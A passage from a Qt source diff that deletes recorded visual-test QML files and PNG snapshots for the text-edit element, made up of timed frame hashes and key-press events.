"4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 288 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 304 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 320 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 336 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 352 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 368 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 384 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 400 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 416 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 432 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 448 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 464 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 480 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 496 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 512 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 528 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 560 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 576 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 592 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 608 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 624 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 640 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 656 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 672 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 688 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 704 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 720 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 736 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 752 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 768 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 784 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 800 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 816 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 832 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 848 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 864 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 880 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 896 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 912 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 928 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 944 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 960 - image: "qt-669.0.png" - } - Frame { - msec: 976 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 992 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 1008 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1024 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 1040 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 1056 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 1072 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 1088 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1104 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 1120 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 1136 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1152 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 1168 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 1184 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 1200 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 1216 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1232 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 1248 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 1264 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 1280 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1296 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 1312 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 1328 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 1344 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1360 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1376 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1392 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1408 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1424 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1440 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1456 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1472 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1488 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1504 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1520 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1536 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1552 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1568 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1584 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1600 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1616 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1632 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1648 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1664 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1680 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1696 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1712 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1728 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1744 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1760 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1776 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1792 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1808 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1824 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Frame { - msec: 1840 - hash: "a3b98f215b2329e29d17b61eba0f9e45" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1856 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1872 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1888 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1904 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1920 - image: "qt-669.1.png" - } - Frame { - msec: 1936 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1952 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1968 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 1984 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2000 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 2016 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 2032 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 2048 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Frame { - msec: 2064 - hash: "d85314199885fdf9cc8e666c3fb723fb" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2080 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2096 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2112 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2128 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2144 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2160 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2176 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2192 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2208 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Frame { - msec: 2224 - hash: "1313880b796ae7134f50fa8dafa4a974" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2240 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 2256 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 2288 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 2304 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 2320 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Frame { - msec: 2336 - hash: "c899e9d181860f682ba7275fa36f82a1" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2352 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2368 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2384 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2400 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2416 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2432 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2448 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2464 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2480 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2496 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2512 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2528 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2544 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2560 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2576 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Frame { - msec: 2592 - hash: "2caf044acf7aaf0af6a03e7b8180fa16" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2608 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2624 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2640 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2656 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2672 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2688 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2704 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2720 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2736 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Frame { - msec: 2752 - hash: "c87aaf72137c2b9e8c876879e7215072" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2768 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 2784 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 2800 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2816 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 2832 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 2848 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Frame { - msec: 2864 - hash: "3c455f51fea0926576077d55d6fbfbb2" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2880 - image: "qt-669.2.png" - } - Frame { - msec: 2896 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 2912 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 2928 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2944 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 2960 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 2976 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 2992 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Frame { - msec: 3008 - hash: "394360c0bff5ee3ad206d2911838d64e" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3024 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3040 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3056 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3072 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3088 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3104 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3120 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3136 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3152 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3168 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3184 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3200 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3216 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3232 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3248 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3264 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3280 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3296 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3312 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3328 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3344 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3360 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3376 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3392 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3408 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3424 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3440 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3456 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3472 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3488 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3504 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3520 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3536 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3552 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3568 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3584 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3600 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3616 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3632 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3648 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3664 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3680 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Frame { - msec: 3696 - hash: "10573e4c9dab5bd6e46ec79949c098e5" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3712 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3728 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3744 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3760 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3776 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3792 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3808 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3824 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3840 - image: "qt-669.3.png" - } - Frame { - msec: 3856 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3872 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3888 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3904 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3920 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3936 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3952 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3968 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 3984 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4000 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4016 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4032 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4048 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4064 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4080 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4096 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4112 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4128 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4144 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4160 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4176 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4192 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4208 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4224 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4240 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4256 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4272 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4288 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 4304 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.0.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.0.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.1.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.1.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.2.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.2.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.3.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.3.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.4.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.4.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.5.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.5.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.6.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.6.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.qml b/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.qml deleted file mode 100644 index f96daa9..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.qml +++ /dev/null @@ -1,2467 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 33554432 - text: "54" - autorep: false - count: 1 - } - Frame { - msec: 32 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 16777248 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 48 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 64 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 80 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 96 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 400 - hash: 